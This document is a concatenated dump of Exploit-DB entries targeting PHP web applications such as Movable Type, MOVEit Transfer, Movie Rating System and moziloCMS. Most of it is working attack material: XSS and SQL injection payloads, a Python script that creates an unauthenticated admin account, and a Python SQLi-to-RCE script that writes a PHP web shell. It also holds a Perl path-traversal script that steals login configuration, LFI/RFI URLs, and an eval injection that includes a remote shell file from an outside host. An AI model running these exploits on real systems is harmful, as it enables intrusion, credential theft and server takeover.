deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22151
Description: Movable Type Pro 5.13en - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-10-22
Author: sqlhacker

Exploit:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Source URL: http://www.cloudscan.me/2012/10/cve-2012-1503-movable-type-pro-513en.html

Keywords: CVE-2012-1503, Movable Type Pro 5.13en, Stored XSS,
JavaScript Injection, Vendor Unresponsive, Full Disclosure

Introduction

Movable Type (MT) started as one of the industries first blogging platforms
and has developed into an industry leading publishing platform which has
been used globally for more than 10 years. Movable Type makes it simple to
manage entire websites, start new blogs, and build an engaged community of
readers and customers.

Six Apart KK has assumed responsibility over all intellectual property and
business operations of Movable Type, as well as trademark rights of Six
Apart. The new Six Apart, a Japanese corporation formerly known as Six
Apart KK, currently develops, markets and supports Movable Type for a
global user base, and also operates the company's website
(www.sixapart.com). The application can be downloaded from URL
http://www.movabletype.com/download/.

Exploit

Our researchers discovered a persistent XSS vulnerability, allowing an
attacker to inject arbitrary script code into the comment section of any
existing Mt5.13en installation. The blog comment is being moderated before
published; that means an attacker can target the moderating Admin
(employee) via Javascript Injection.

Exploit Code:

<a href=javascript:alert(document.cookie)>
X X X X X X X X X X X X X X X<br>
X X X X X X X X X X X X X X X<br>
X X X X CLICKME NOW!  X X X X<br>
X X X X X X X X X X X X X X X<br>
X X X X X X X X X X X X X X X</a>

Screenshot at URL
http://www.cloudscan.me/2012/10/cve-2012-1503-movable-type-pro-513en.html

Bug Metrics: CVSS 6.5

Timeline

March 2012 - Email PoC to Vendor via mt-security@sixapart.jp
April 2012 - No Response from Vendor
May 2012 - Email PoC to Vendor via mt-security@sixapart.jp
October 2012 - Full Disclosure

-----BEGIN PGP SIGNATURE-----
Version: PGP Desktop 10.2.0 (Build 2599)
Charset: utf-8

wsBVAwUBUIFqUXz+WcLIygj0AQhJ4Af8DaKXqSTGW30YeoLXeq0kUhqXQ0BicpW8
UZGCMMnlgct7DVh36GIxWc/60WXtuA8nuPqSm7eMKbIrMsvQXPhg9o8MB0LErh49
e7DY1rZ5hVpq1jVqEEQIyu2bxqS8epFR9/5CSUukGnTwaf4gTna8ZB5UZoRPhLI9
ih/OKS1L1WZeykUqZB6oSjkc4t3AeS6iYdXZMvkSrwSgnN6iUKBa3lSSzuEzEmfv
Qhuvb0R6YxNMQafHOr4IlNa/A2rgGBlhYB3P5/wXdAmcnjIhPC4qtH6ik52+NiKQ
3m5Jr3V2rXVhJRrRwj0ubC4PtfVjIC1YP/k4zY0gA7DOmHhZKk+7Iw==
=JXEo
-----END PGP SIGNATURE-----
Exploit-DB #48316
Description: MOVEit Transfer 11.1.1 - 'token' Unauthenticated SQL Injection
Type: webapps
Platform: php
Date: 2020-04-13
Author: Aviv Beniash

Exploit:
# Exploit Title: MOVEit Transfer 11.1.1 - 'token' Unauthenticated SQL Injection 
# Google Dork: inurl:human.aspx intext:moveit
# Date: 2020-04-12
# Exploit Authors: Aviv Beniash, Noam Moshe
# Vendor Homepage: https://www.ipswitch.com/
# Version: MOVEit Transfer 2018 SP2 before 10.2.4, 2019 before 11.0.2, and 2019.1 before 11.1.1
# CVE : CVE-2019-16383
# 
# Related Resources:
# https://community.ipswitch.com/s/article/SQL-Injection-Vulnerability
# https://nvd.nist.gov/vuln/detail/CVE-2019-16383

# Description:
# The API call for revoking logon tokens is vulnerable to a
# Time based blind SQL injection via the 'token' parameter

# MSSQL payload:

POST /api/v1/token/revoke HTTP/1.1
Host: moveittransferstg
Content-Type: application/x-www-form-urlencoded
Content-Length: 32

token='; WAITFOR DELAY '0:0:10'--


# MySQL payload:

POST /api/v1/token/revoke HTTP/1.1
Host: moveittransferstg
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

token=' OR SLEEP(10);
Exploit-DB #8871
Description: Movie PHP Script 2.0 - 'init.php?anticode' Code Execution
Type: webapps
Platform: php
Date: 2009-06-03
Author: SirGod

Exploit:
#################################################################################################################
[+] Movie PHP Script v2.0 Remote PHP Code Execution
[+] Discovered By SirGod 
[+] www.mortal-team.org
#################################################################################################################

[+] Remote PHP Code Execution

  - Vulnerable code in  system/services/init.php :

---------------------------------------------------------------------------------
Line 84 : @eval(stripslashes($_REQUEST['anticode']));
---------------------------------------------------------------------------------

- PoC : 

    http://127.0.0.1/[path/]system/services/init.php?anticode=[YOUR PHP CODE]

- Example : 

   http://127.0.0.1/path/system/services/init.php?anticode=include "http://www.darkmindz.com/shell/x2300_mod.txt";

- Example 2 :

  http://127.0.0.1/path/system/services/init.php?anticode=phpinfo();

#################################################################################################################

# milw0rm.com [2009-06-03]
Exploit-DB #41155
Description: Movie Portal Script 7.36 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2017-01-25
Author: Marc Castejon

Exploit:
Exploit Title : Movie Portal Script v7.36 - Multiple Vulnerability
Google Dork :    -
Date : 20/01/2017
Exploit Author : Marc Castejon <marc@silentbreach.com>
Vendor Homepage : http://itechscripts.com/movie-portal-script/
Software Link: http://movie-portal.itechscripts.com
Type : webapps
Platform: PHP
Sofware Price and Demo : $250

------------------------------------------------
Type: Error Based Sql Injection
Vulnerable URL:http://localhost/[PATH]/show_news.php
Vulnerable Parameters: id
Method: GET
Payload:  AND (SELECT 1222 FROM(SELECT COUNT(*),CONCAT(0x71786b7a71,(SELECT
(ELT(1222=1222,1))),0x717a627871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

-----------------------------------------------
Type: Reflected XSS
Vulnerable URL: http://localhost/[PATH]/movie.php
Vulnerable Parameters : f=
Payload:<img src=i onerror=prompt(1)>
---------------------------------------------
Type: Error Based Sql Injection
Vulnerable URL:http://localhost/[PATH]/show_misc_video.php
Vulnerable Parameters: id
Method: GET
Payload:  AND (SELECT 1222 FROM(SELECT COUNT(*),CONCAT(0x71786b7a71,(SELECT
(ELT(1222=1222,1))),0x717a627871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
-----------------------------------------------

Type:Union Query Sql Injection
Vulnerable URL:http://localhost/[PATH]/movie.php
Vulnerable Parameters: f
Method: GET
Payload:  -4594 UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71626a7871,0x6452766b715a73727a634a497a7370474e6744576c737a6a436a6e566e546c68425a4b426a53544d,0x71627a7171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
-----------------------------------------------
Type: Union Query Sql Injection
Vulnerable URL:http://localhost/[PATH]/artist-display.php
Vulnerable Parameters: act
Method: GET
Payload:  UNION ALL SELECT
NULL,CONCAT(0x71706a7871,0x6b704f[PII_REDACTED]6672596d4851736d486b45414a[PII_REDACTED][PII_REDACTED][PII_REDACTED]71545553,0x717a6a7a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
-----------------------------------------------

Type: Error Based Sql Injection
Vulnerable URL:http://localhost/[PATH]/film-rating.php
Vulnerable Parameters: v
Method: GET
Payload:  AND (SELECT 1222 FROM(SELECT COUNT(*),CONCAT(0x71786b7a71,(SELECT
(ELT(1222=1222,1))),0x717a627871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Exploit-DB #50621
Description: Movie Rating System 1.0 - Broken Access Control (Admin Account Creation) (Unauthenticated)
Type: webapps
Platform: php
Date: 2022-01-05
Author: Tagoletta

Exploit:
# Exploit Title: Movie Rating System 1.0 - Broken Access Control (Admin Account Creation) (Unauthenticated)
# Date: 22/12/2021
# Exploit Author: Tagoletta (Tağmaç)
# Software Link: https://www.sourcecodester.com/php/15104/sentiment-based-movie-rating-system-using-phpoop-free-source-code.html
# Version: 1.0
# Tested on: Windows

import requests
import json

url = input('Url:')
if not url.startswith('http://') and not url.startswith('https://'):
    url = "http://" + url
if not url.endswith('/'):
    url = url + "/"

Username = "tago"
[CREDENTIAL_REDACTED]"

reqUrl = url + "classes/Users.php?f=save"

reqHeaders = {
    "Accept": "*/*",
    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryTagmac",
    "X-Requested-With": "XMLHttpRequest",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36",
    "Origin": url}

reqData = "------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n\r\n------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"firstname\"\r\n\r\nTago\r\n------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"lastname\"\r\n\r\nLetta\r\n------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n"+Username+"\r\n------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n"+Password+"\r\n------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"type\"\r\n\r\n1\r\n------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"img\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryTagmac--\r\n"

resp = requests.post(reqUrl, headers=reqHeaders, data=reqData)

if resp.status_code == 200:
    print("Admin account created")
    reqUrl = url + "classes/Login.php?f=login"

    reqHeaders = {
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "X-Requested-With": "XMLHttpRequest",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36",
        "Origin": url
        }

    reqData = {"username": ""+Username+"", "password": ""+Password+""}

    resp = requests.post(reqUrl, headers=reqHeaders, data=reqData)

    data = json.loads(resp.text)
    status = data["status"]

    if status == "success":
        print("Login Successfully\nUsername:"+ Username+"\nPassword:"+Password)
    else:
        print("Exploited but not loginned")
else:
    print("Not injectable")
Exploit-DB #50622
Description: Movie Rating System 1.0 - SQLi to RCE (Unauthenticated)
Type: webapps
Platform: php
Date: 2022-01-05
Author: Tagoletta

Exploit:
# Exploit Title: Movie Rating System 1.0 - SQLi to RCE (Unauthenticated)
# Date: 22/12/2021
# Exploit Author: Tagoletta (Tağmaç)
# Software Link: https://www.sourcecodester.com/php/15104/sentiment-based-movie-rating-system-using-phpoop-free-source-code.html
# Version: 1.0
# Tested on: Ubuntu
# This exploit only works correctly if user is database administrator. if not user is database administrator, continue with sql injection payloads.

import requests
import random
import string
from bs4 import BeautifulSoup

url = input("TARGET = ")

if not url.startswith('http://') and not url.startswith('https://'):
    url = "http://" + url
if not url.endswith('/'):
    url = url + "/"

payload = "<?php if(isset($_GET['tago'])){ $cmd = ($_GET['tago']); system($cmd); die; } ?>"

let = string.ascii_lowercase
shellname = ''.join(random.choice(let) for i in range(15))

resp = requests.get(url)
htmlParser = BeautifulSoup(resp.text, 'html.parser')

getMenu = htmlParser.findAll("a", {"class": "nav-link"})
selectPage = ""
for i in getMenu:
    if "movie" in i.text.lower():
        selectPage = i["href"]
        break

selectPage = selectPage.replace("./","")
findSql = url + selectPage
resp = requests.get(findSql)
htmlParser = BeautifulSoup(resp.text, 'html.parser')
movieList = htmlParser.findAll("a", {"class" : "card card-outline card-primary shadow rounded-0 movie-item text-decoration-none text-dark"})

sqlPage = movieList[0]["href"]
sqlPage = sqlPage.replace("./","")

sqlPage = url + sqlPage

print("\nFinding path")

findPath = requests.get(sqlPage + '\'')
findPath = findPath.text[findPath.text.index("<b>Warning</b>:  ")+17:findPath.text.index("</b> on line ")]
findPath = findPath[findPath.index("<b>")+3:len(findPath)]
print("injection page: "+sqlPage)

parser = findPath.split('\\')
parser.pop()
findPath = ""
for find in parser:
    findPath += find + "/"

print("\nFound Path : " + findPath)

SQLtoRCE = "-1881' OR 1881=1881 LIMIT 0,1 INTO OUTFILE '#PATH#' LINES TERMINATED BY #PAYLOAD# -- -"
SQLtoRCE = SQLtoRCE.replace("#PATH#",findPath+shellname+".php")
SQLtoRCE = SQLtoRCE.replace("#PAYLOAD#", "0x3"+payload.encode("utf-8").hex())

print("\n\nShell Uploading...")
status = requests.get(sqlPage+SQLtoRCE)

shellOutput = requests.get(url+shellname+".php?tago=whoami")
print("\n\nShell Output : "+shellOutput.text)
print("\nShell Path : " + url+shellname+".php")
Exploit-DB #6194
Description: moziloCMS 1.10.1 - 'download.php' Arbitrary Download File
Type: webapps
Platform: php
Date: 2008-08-02
Author: Ams

Exploit:
#!/usr/bin/perl
#
# moziloCMS 1.10.1 Perl exploit
#
# discovered & written by Ams
# ax330d [doggy] gmail [dot] com
#
# DESCRIPTION:
# Vulnerability hides in "download.php", which we can use to download any file we want to.
# Here, for example, "admin/conf/logindata.conf". (Btw, not very smart solution to keep it open
# not looking on that it is protected by .htaccess)
# Script does not filters global params, it only checks whether local file exists...
# (By the way, all downloads are logged to "/conf/downloads.conf")
#
# USAGE:
# Run exploit :perl expl.pl http://www.site.com
#
# NEEDED:
# magic_quotes_gpc = off
#

use strict;
use IO::Socket;

print "\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
	\n\t\t moziloCMS 1.10.1 exploit (by Ams)
	\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";

if(@ARGV<1){
	die "\n\tUsage:\texpl.pl [host]\n\n
	\n\tExample:\texpl.pl http://localhost/blog/\n\n";
}

my $expl_url = $ARGV[0];

print "\n\t[~] Starting exploit...\n";

if($expl_url =~ m#http://#) {
	exploit($expl_url);
} else {
	exploit('http://'.$expl_url);
}

sub exploit {
	
	#	Defining vars.
	my $site = pop @_;
	my ($a, $b, $c, @d) = split /\//,$site;
	my $path = join('/',@d);
	my $host = $c;
	if($path) {$path = '/'.$path;}
	my ($length, $packet, $downloaded, $injection);
	
	#	Revealing /data/sess.php.
	print "\n\t[~] Sending request to 'downloads.php'...\n";
	$injection = "file=hola&cat=../admin/conf/logindata.conf%00";
	$length = length($injection);
	$packet = "POST $path/download.php HTTP/1.1\r\n";
	$packet .= "Host: $host\r\n";
	$packet .= "Connection: Close\r\n";
	$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
	$packet .= "Content-Length: $length\r\n\r\n";
	$packet .= "$injection";
	$downloaded = send_surprise($host, $packet, 1);
	
	if($downloaded =~ /hackin/) {
		print "\n\t[-] Exploiting failed...\n";
	} elsif ($downloaded =~ /200 OK/) {
		#	Parsing and saving received data.
		$downloaded =~ /\r\n\r\n/ ;
		$downloaded = $';
		
		open(DOWNL, ">hola.txt");
		print DOWNL $downloaded;
		close(DOWNL);
		print "\n\t[+] Looks like ok! Check hola.txt\n";
	} else {
		print "\n\t[-] Exploiting failed...\n";
	}
}

sub send_surprise() {
		
	my $dat = 1;
	my ($host, $packet, $ret) = @_;
	my $socket=IO::Socket::INET->new(
		Proto=>"tcp",
		PeerAddr=>$host,
		PeerPort=>"80"
	);
	if( ! $socket) {
		return 0;
	} else {
		
		print $socket $packet;
		if($ret) {
			my $rcv;
			while($rcv = <$socket>) {
			$dat .= $rcv;
			}
		}
		close ($socket);
		return $dat;
	}
}

# milw0rm.com [2008-08-02]
Exploit-DB #8394
Description: moziloCMS 1.11 - Local File Inclusion / Full Path Disclosure / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-04-10
Author: SirGod

Exploit:
###############################################################################################
[+] moziloCMS 1.11 (LFI/PD/XSS) Multiple Remote Vulnerabilites
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
###############################################################################################

[+] Local File Inclusion

 PoC 1 :

   http://127.0.0.1/index.php?cat=10_Willkommen&page=../../../../../BOOTSECT.BAK%00

 PoC 2 :

   http://127.0.0.1/index.php?cat=10_Willkommen&page=../../admin/conf/logindata.conf%00

[+] Cross Site Scripting

 PoC :

   http://127.0.0.1/index.php?action=search&query=<script>alert(document.cookie)</script>

[+] Path Disclosure

 PoC's :

   http://127.0.0.1/gallery.php?gal[]=moziloCMS
   http://127.0.0.1/index.php?cat=10_Willkommen&page[]=10_Willkommen
   http://127.0.0.1/index.php?cat[]=10_Willkommen&page=10_Willkommen
   http://127.0.0.1/download.php?cat=10_Willkommen&file[]=text.txt

###############################################################################################

# milw0rm.com [2009-04-10]
Exploit-DB #48781
Description: moziloCMS 2.0 - Persistent Cross-Site Scripting (Authenticated)
Type: webapps
Platform: php
Date: 2020-09-01
Author: Abdulkadir Kaya

Exploit:
# Exploit Title: moziloCMS 2.0 - Persistent Cross-Site Scripting (Authenticated)
# Date: 2020-08-31
# Exploit Author: Abdulkadir Kaya
# Vendor Homepage: https://www.mozilo.de/
# Version: 2.0
# Tested on: Windows & WampServer

1- Go to following url. >> http://(HOST)/(PATH)/admin/
2- Login the admin panel. 
3- Go to "Content".
4- Write XSS payload in the "Content Page" section.
5- Save.

NOTE: Content Page must be in the Category.

((XSS Payloads))

1-<script>alert("XSS Confirmed");</script>
2-<script>alert(document.cookie);</script>
3-<script>alert(document.domain);</script>

(( REQUEST ))

POST /mozilo/admin/index.php HTTP/1.1
Host: 127.0.0.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html, */*; q=0.01
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8088/mozilo/admin/index.php?nojs=true&action=catpage&multi=true
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 269
Origin: http://127.0.0.1:8088
Connection: close
Cookie: mozilo_editor_settings=true,false,mozilo,12px; PHPSESSID=1jlbsfbodasafasl121chjv5947j0s; 
MOZILOID_875895d61510deasdfa1a7ad7cc6047f819=5tqsm5d5nvphqimdpqcnq4tqit

action=catpage&sort_array[%253Cscript%253Ealert%2528%2522XSS%2520Confirmed%2521%2522%2529%253C%252Fscript%253E]
=%5BWilkommen%5D&changeart=cat_page_move&cat_page_change[%253Cscript%253Ealert%2528%2522XSS%2520Confirmed%2521
%2522%2529%253C%252Fscript%253E]=%5BWilkommen%5D
Exploit-DB #3761
Description: Mozzers SubSystem final - 'subs.php' Remote Code Execution
Type: webapps
Platform: php
Date: 2007-04-18
Author: Dj7xpl

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+                                                                                                                  +
+                                               Y! Underground Group                                               +
+                                                                                                                  +
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+                                                                                                                  +
+          Portal......:  Mozzers SubSystem v1.0 Final                                                             +
+          Author......:  Dj7xpl / Dj7xpl@Yahoo.com                                                                +
+          Type........:  Remote Code Execution Vulnerability                                                      +
+          Download....:  http://sourceforge.net/projects/subsystem/                                               +
+          Page........:  http://Dj7xpl.2600.ir                                                                    +
+                                                                                                                  +
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+                                                                                                                  +
+          Bug.........:                                                                                           +
+                         (1) Open Target By Browser : http://[Target]/[Path]/index.php?page=add                   +
+                         (2) Insert Bad Code Into (Sub-name) Or (Sub-url)  E.g  :<?passthru($cmd);?>              +
+                         (3) See Your Bad Code      : http://[Target]/[Path]/subs.php                             +
+                                                                                                                  +
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# milw0rm.com [2007-04-18]
Exploit-DB #12219
Description: Mp3 Online Id Tag Editor - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-04-14
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Mp3 Online Id Tag Editor RFI Vulnerability            
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com                                                                              |
| # Web Site : http://www.p30vel.ir/
| # Script   : Powered by OMS4ALL v1.10 - @2010 P30vel.ir      
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : RFI                                                                      
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1- http://localhost/mp3/velid3/getid3.php?determined_format[include]=[EV!L]
 
 2- http://localhost/mp3/velid3/module.archive.gzip.php?determined_format[include]=[EV!L]
 
Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
---------------------------------------------------------------------------------------------------------------